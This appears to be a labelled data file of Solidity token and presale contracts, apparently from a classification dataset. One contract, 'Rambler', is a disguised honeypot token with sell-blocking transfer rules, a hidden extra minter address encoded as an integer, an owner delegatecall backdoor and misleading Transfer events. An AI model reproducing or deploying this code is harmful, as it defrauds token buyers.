emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Whitelist is Claimable, RBAC {
function grantPermission(address _operator, string _permission) public onlyOwner {
addRole(_operator, _permission);
}
function revokePermission(address _operator, string _permission) public onlyOwner {
removeRole(_operator, _permission);
}
function grantPermissionBatch(address[] _operators, string _permission) public onlyOwner {
for (uint256 i = 0; i < _operators.length; i++) {
addRole(_operators[i], _permission);
}
}
function revokePermissionBatch(address[] _operators, string _permission) public onlyOwner {
for (uint256 i = 0; i < _operators.length; i++) {
removeRole(_operators[i], _permission);
}
}
} | 1 | 2,637 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OpportyToken is StandardToken {
string public constant name = "OpportyToken";
string public constant symbol = "OPP";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function OpportyToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract HoldPresaleContract is Ownable {
using SafeMath for uint256;
OpportyToken public OppToken;
address private presaleCont;
struct Holder {
bool isActive;
uint tokens;
uint8 holdPeriod;
uint holdPeriodTimestamp;
bool withdrawed;
}
mapping(address => Holder) public holderList;
mapping(uint => address) private holderIndexes;
mapping (uint => address) private assetOwners;
mapping (address => uint) private assetOwnersIndex;
uint public assetOwnersIndexes;
uint private holderIndex;
event TokensTransfered(address contributor , uint amount);
event Hold(address sender, address contributor, uint amount, uint8 holdPeriod);
modifier onlyAssetsOwners() {
require(assetOwnersIndex[msg.sender] > 0);
_;
}
function HoldPresaleContract(address _OppToken) public {
OppToken = OpportyToken(_OppToken);
}
function setPresaleCont(address pres) public onlyOwner
{
presaleCont = pres;
}
function addHolder(address holder, uint tokens, uint8 timed, uint timest) onlyAssetsOwners external {
if (holderList[holder].isActive == false) {
holderList[holder].isActive = true;
holderList[holder].tokens = tokens;
holderList[holder].holdPeriod = timed;
holderList[holder].holdPeriodTimestamp = timest;
holderIndexes[holderIndex] = holder;
holderIndex++;
} else {
holderList[holder].tokens += tokens;
holderList[holder].holdPeriod = timed;
holderList[holder].holdPeriodTimestamp = timest;
}
Hold(msg.sender, holder, tokens, timed);
}
function getBalance() public constant returns (uint) {
return OppToken.balanceOf(this);
}
function unlockTokens() external {
address contributor = msg.sender;
if (holderList[contributor].isActive && !holderList[contributor].withdrawed) {
if (now >= holderList[contributor].holdPeriodTimestamp) {
if ( OppToken.transfer( msg.sender, holderList[contributor].tokens ) ) {
holderList[contributor].withdrawed = true;
TokensTransfered(contributor, holderList[contributor].tokens);
}
} else {
revert();
}
} else {
revert();
}
}
function addAssetsOwner(address _owner) public onlyOwner {
assetOwnersIndexes++;
assetOwners[assetOwnersIndexes] = _owner;
assetOwnersIndex[_owner] = assetOwnersIndexes;
}
function removeAssetsOwner(address _owner) public onlyOwner {
uint index = assetOwnersIndex[_owner];
delete assetOwnersIndex[_owner];
delete assetOwners[index];
assetOwnersIndexes--;
}
function getAssetsOwners(uint _index) onlyOwner public constant returns (address) {
return assetOwners[_index];
}
}
contract OpportyPresale is Pausable {
using SafeMath for uint256;
OpportyToken public token;
HoldPresaleContract public holdContract;
enum SaleState { NEW, SALE, ENDED }
SaleState public state;
uint public endDate;
uint public endSaleDate;
address private wallet;
uint public ethRaised;
uint private price;
uint public tokenRaised;
bool public tokensTransferredToHold;
event SaleStarted(uint blockNumber);
event SaleEnded(uint blockNumber);
event FundTransfered(address contrib, uint amount);
event WithdrawedEthToWallet(uint amount);
event ManualChangeEndDate(uint beforeDate, uint afterDate);
event TokensTransferedToHold(address hold, uint amount);
event AddedToWhiteList(address inv, uint amount, uint8 holdPeriod, uint8 bonus);
event AddedToHolder( address sender, uint tokenAmount, uint8 holdPeriod, uint holdTimestamp);
struct WhitelistContributor {
bool isActive;
uint invAmount;
uint8 holdPeriod;
uint holdTimestamp;
uint8 bonus;
bool payed;
}
mapping(address => WhitelistContributor) public whiteList;
mapping(uint => address) private whitelistIndexes;
uint private whitelistIndex;
function OpportyPresale(
address tokenAddress,
address walletAddress,
uint end,
uint endSale,
address holdCont ) public
{
token = OpportyToken(tokenAddress);
state = SaleState.NEW;
endDate = end;
endSaleDate = endSale;
price = 0.0002 * 1 ether;
wallet = walletAddress;
holdContract = HoldPresaleContract(holdCont);
}
function startPresale() public onlyOwner {
require(state == SaleState.NEW);
state = SaleState.SALE;
SaleStarted(block.number);
}
function endPresale() public onlyOwner {
require(state == SaleState.SALE);
state = SaleState.ENDED;
SaleEnded(block.number);
}
function addToWhitelist(address inv, uint amount, uint8 holdPeriod, uint8 bonus) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(holdPeriod == 1 || holdPeriod == 3 || holdPeriod == 6 || holdPeriod == 12);
amount = amount * (10 ** 18);
if (whiteList[inv].isActive == false) {
whiteList[inv].isActive = true;
whiteList[inv].payed = false;
whitelistIndexes[whitelistIndex] = inv;
whitelistIndex++;
}
whiteList[inv].invAmount = amount;
whiteList[inv].holdPeriod = holdPeriod;
whiteList[inv].bonus = bonus;
if (whiteList[inv].holdPeriod==1) whiteList[inv].holdTimestamp = endSaleDate.add(30 days); else
if (whiteList[inv].holdPeriod==3) whiteList[inv].holdTimestamp = endSaleDate.add(92 days); else
if (whiteList[inv].holdPeriod==6) whiteList[inv].holdTimestamp = endSaleDate.add(182 days); else
if (whiteList[inv].holdPeriod==12) whiteList[inv].holdTimestamp = endSaleDate.add(1 years);
AddedToWhiteList(inv, whiteList[inv].invAmount, whiteList[inv].holdPeriod, whiteList[inv].bonus);
}
function() whenNotPaused public payable {
require(state == SaleState.SALE);
require(msg.value >= 0.3 ether);
require(whiteList[msg.sender].isActive);
if (now > endDate) {
state = SaleState.ENDED;
msg.sender.transfer(msg.value);
return ;
}
WhitelistContributor memory contrib = whiteList[msg.sender];
require(contrib.invAmount <= msg.value || contrib.payed);
if(whiteList[msg.sender].payed == false) {
whiteList[msg.sender].payed = true;
}
ethRaised += msg.value;
uint tokenAmount = msg.value.div(price);
tokenAmount += tokenAmount.mul(contrib.bonus).div(100);
tokenAmount *= 10 ** 18;
tokenRaised += tokenAmount;
holdContract.addHolder(msg.sender, tokenAmount, contrib.holdPeriod, contrib.holdTimestamp);
AddedToHolder(msg.sender, tokenAmount, contrib.holdPeriod, contrib.holdTimestamp);
FundTransfered(msg.sender, msg.value);
}
function getBalanceContract() view internal returns (uint) {
return token.balanceOf(this);
}
function sendTokensToHold() public onlyOwner {
require(state == SaleState.ENDED);
require(getBalanceContract() >= tokenRaised);
if (token.transfer(holdContract, tokenRaised )) {
tokensTransferredToHold = true;
TokensTransferedToHold(holdContract, tokenRaised );
}
}
function getTokensBack() public onlyOwner {
require(state == SaleState.ENDED);
require(tokensTransferredToHold == true);
uint balance;
balance = getBalanceContract() ;
token.transfer(msg.sender, balance);
}
function withdrawEth() public {
require(this.balance != 0);
require(state == SaleState.ENDED);
require(msg.sender == wallet);
require(tokensTransferredToHold == true);
uint bal = this.balance;
wallet.transfer(bal);
WithdrawedEthToWallet(bal);
}
function setEndSaleDate(uint date) public onlyOwner {
require(state == SaleState.NEW);
require(date > now);
uint oldEndDate = endSaleDate;
endSaleDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setEndDate(uint date) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(date > now);
uint oldEndDate = endDate;
endDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function getTokenBalance() public constant returns (uint) {
return token.balanceOf(this);
}
function getEthRaised() constant external returns (uint) {
return ethRaised;
}
}
contract OpportyPresale2 is Pausable {
using SafeMath for uint256;
OpportyToken public token;
HoldPresaleContract public holdContract;
OpportyPresale public preSaleContract;
enum SaleState { NEW, SALE, ENDED }
SaleState public state;
uint public endDate;
uint public endSaleDate;
uint public minimalContribution;
address private wallet;
address private preSaleOld;
uint public ethRaised;
uint private price;
uint public tokenRaised;
bool public tokensTransferredToHold;
event SaleStarted(uint blockNumber);
event SaleEnded(uint blockNumber);
event FundTransfered(address contrib, uint amount);
event WithdrawedEthToWallet(uint amount);
event ManualChangeEndDate(uint beforeDate, uint afterDate);
event TokensTransferedToHold(address hold, uint amount);
event AddedToWhiteList(address inv, uint amount, uint8 holdPeriod, uint8 bonus);
event AddedToHolder(address sender, uint tokenAmount, uint8 holdPeriod, uint holdTimestamp);
event ChangeMinAmount(uint oldMinAmount, uint minAmount);
struct WhitelistContributor {
bool isActive;
uint invAmount;
uint8 holdPeriod;
uint holdTimestamp;
uint8 bonus;
bool payed;
}
mapping(address => WhitelistContributor) public whiteList;
mapping(uint => address) private whitelistIndexes;
uint private whitelistIndex;
mapping (uint => address) private assetOwners;
mapping (address => uint) private assetOwnersIndex;
uint public assetOwnersIndexes;
modifier onlyAssetsOwners() {
require(assetOwnersIndex[msg.sender] > 0);
_;
}
function OpportyPresale2(
address tokenAddress,
address walletAddress,
uint end,
uint endSale,
address holdCont,
address oldPreSale) public
{
token = OpportyToken(tokenAddress);
state = SaleState.NEW;
endDate = end;
endSaleDate = endSale;
price = 0.0002 * 1 ether;
wallet = walletAddress;
minimalContribution = 0.3 * 1 ether;
preSaleContract = OpportyPresale(oldPreSale);
holdContract = HoldPresaleContract(holdCont);
addAssetsOwner(msg.sender);
}
function startPresale() public onlyOwner {
require(state == SaleState.NEW);
state = SaleState.SALE;
SaleStarted(block.number);
}
function endPresale() public onlyOwner {
require(state == SaleState.SALE);
state = SaleState.ENDED;
SaleEnded(block.number);
}
function addToWhitelist(address inv, uint amount, uint8 holdPeriod, uint8 bonus) public onlyAssetsOwners {
require(state == SaleState.NEW || state == SaleState.SALE);
require(holdPeriod == 1 || holdPeriod == 3 || holdPeriod == 6 || holdPeriod == 12);
require(amount >= minimalContribution);
if (whiteList[inv].isActive == false) {
whiteList[inv].isActive = true;
whiteList[inv].payed = false;
whitelistIndexes[whitelistIndex] = inv;
whitelistIndex++;
}
whiteList[inv].invAmount = amount;
whiteList[inv].holdPeriod = holdPeriod;
whiteList[inv].bonus = bonus;
if (whiteList[inv].holdPeriod==1) whiteList[inv].holdTimestamp = endSaleDate.add(30 days); else
if (whiteList[inv].holdPeriod==3) whiteList[inv].holdTimestamp = endSaleDate.add(92 days); else
if (whiteList[inv].holdPeriod==6) whiteList[inv].holdTimestamp = endSaleDate.add(182 days); else
if (whiteList[inv].holdPeriod==12) whiteList[inv].holdTimestamp = endSaleDate.add(1 years);
AddedToWhiteList(inv, whiteList[inv].invAmount, whiteList[inv].holdPeriod, whiteList[inv].bonus);
}
function() whenNotPaused public payable {
require(state == SaleState.SALE);
require(msg.value >= minimalContribution);
require(whiteList[msg.sender].isActive);
if (now > endDate) {
state = SaleState.ENDED;
msg.sender.transfer(msg.value);
return ;
}
WhitelistContributor memory contrib = whiteList[msg.sender];
require(contrib.invAmount <= msg.value || contrib.payed);
if(whiteList[msg.sender].payed == false) {
whiteList[msg.sender].payed = true;
}
ethRaised += msg.value;
uint tokenAmount = msg.value.div(price);
tokenAmount += tokenAmount.mul(contrib.bonus).div(100);
tokenAmount *= 10 ** 18;
tokenRaised += tokenAmount;
holdContract.addHolder(msg.sender, tokenAmount, contrib.holdPeriod, contrib.holdTimestamp);
AddedToHolder(msg.sender, tokenAmount, contrib.holdPeriod, contrib.holdTimestamp);
FundTransfered(msg.sender, msg.value);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function getBalanceContract() view internal returns (uint) {
return token.balanceOf(this);
}
function sendTokensToHold() public onlyOwner {
require(state == SaleState.ENDED);
require(getBalanceContract() >= tokenRaised);
if (token.transfer(holdContract, tokenRaised )) {
tokensTransferredToHold = true;
TokensTransferedToHold(holdContract, tokenRaised );
}
}
function getTokensBack() public onlyOwner {
require(state == SaleState.ENDED);
require(tokensTransferredToHold == true);
uint balance;
balance = getBalanceContract() ;
token.transfer(msg.sender, balance);
}
function withdrawEth() public {
require(this.balance != 0);
require(state == SaleState.ENDED);
require(msg.sender == wallet);
require(tokensTransferredToHold == true);
uint bal = this.balance;
wallet.transfer(bal);
WithdrawedEthToWallet(bal);
}
function setEndSaleDate(uint date) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(date > now);
uint oldEndDate = endSaleDate;
endSaleDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setEndDate(uint date) public onlyOwner {
require(state == SaleState.NEW || state == SaleState.SALE);
require(date > now);
uint oldEndDate = endDate;
endDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setMinimalContribution(uint minimumAmount) public onlyOwner {
uint oldMinAmount = minimalContribution;
minimalContribution = minimumAmount;
ChangeMinAmount(oldMinAmount, minimalContribution);
}
function getTokenBalance() public constant returns (uint) {
return token.balanceOf(this);
}
function getEthRaised() constant external returns (uint) {
uint pre = preSaleContract.getEthRaised();
return pre + ethRaised;
}
function addAssetsOwner(address _owner) public onlyOwner {
assetOwnersIndexes++;
assetOwners[assetOwnersIndexes] = _owner;
assetOwnersIndex[_owner] = assetOwnersIndexes;
}
function removeAssetsOwner(address _owner) public onlyOwner {
uint index = assetOwnersIndex[_owner];
delete assetOwnersIndex[_owner];
delete assetOwners[index];
assetOwnersIndexes--;
}
function getAssetsOwners(uint _index) onlyOwner public constant returns (address) {
return assetOwners[_index];
}
} | 1 | 4,928 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TIZACOIN {
using SafeMath for uint256;
string public name = "TIZACOIN";
string public symbol = "TIZA";
uint256 public decimals = 18;
uint256 public totalSupply = 50000000 * (10 ** uint256(decimals));
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
bool public stopped = false;
uint public minEth = 0.2 ether;
address public owner;
address public wallet = 0xDb78138276E9401C908268E093A303f440733f1E;
uint256 public tokenPerEth = 5000;
struct icoData {
uint256 icoStage;
uint256 icoStartDate;
uint256 icoEndDate;
uint256 icoFund;
uint256 icoBonus;
uint256 icoSold;
}
icoData public ico;
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert (!stopped);
_;
}
modifier isStopped {
assert (stopped);
_;
}
modifier validAddress {
assert(0x0 != msg.sender);
_;
}
constructor(address _owner) public {
require( _owner != address(0) );
owner = _owner;
balances[owner] = totalSupply;
emit Transfer(0x0, owner, totalSupply);
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function transfer(address _to, uint256 _value) public isRunning validAddress returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
require(balances[_to].add(_value) >= balances[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public isRunning validAddress returns (bool success) {
require(_from != address(0) && _to != address(0));
require(balances[_from] >= _value);
require(balances[_to].add(_value) >= balances[_to]);
require(allowance[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public isRunning validAddress returns (bool success) {
require(_spender != address(0));
require(_value <= balances[msg.sender]);
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function setStage(uint256 _stage, uint256 _startDate, uint256 _endDate, uint256 _fund, uint256 _bonus) external isOwner returns(bool) {
require(now > ico.icoEndDate);
require(_stage > ico.icoStage);
require(now < _startDate);
require(_startDate < _endDate);
require(balances[msg.sender] >= _fund);
uint tokens = _fund * (10 ** uint256(decimals));
ico.icoStage = _stage;
ico.icoStartDate = _startDate;
ico.icoEndDate = _endDate;
ico.icoFund = tokens;
ico.icoBonus = _bonus;
ico.icoSold = 0;
transfer( address(this), tokens );
return true;
}
function setWithdrawalWallet(address _newWallet) external isOwner {
require( _newWallet != wallet );
require( _newWallet != address(0) );
wallet = _newWallet;
}
function() payable public isRunning validAddress {
require(msg.value >= minEth);
require(now >= ico.icoStartDate && now <= ico.icoEndDate );
uint tokens = msg.value * tokenPerEth;
uint bonus = ( tokens.mul(ico.icoBonus) ).div(100);
uint total = tokens + bonus;
require(ico.icoFund >= total);
require(balances[address(this)] >= total);
require(balances[msg.sender].add(total) >= balances[msg.sender]);
ico.icoFund = ico.icoFund.sub(total);
ico.icoSold = ico.icoSold.add(total);
_sendTokens(address(this), msg.sender, total);
wallet.transfer( msg.value );
}
function withdrawTokens(address _address, uint256 _value) external isOwner validAddress {
require(_address != address(0) && _address != address(this));
uint256 tokens = _value * 10 ** uint256(decimals);
require(balances[address(this)] > tokens);
require(balances[_address] < balances[_address].add(tokens));
_sendTokens(address(this), _address, tokens);
}
function _sendTokens(address _from, address _to, uint256 _tokens) internal {
balances[_from] = balances[_from].sub(_tokens);
balances[_to] = balances[_to].add(_tokens);
emit Transfer(_from, _to, _tokens);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 0 | 649 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Rambler {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(563157621293137251357434877180596558890648726779));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,546 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
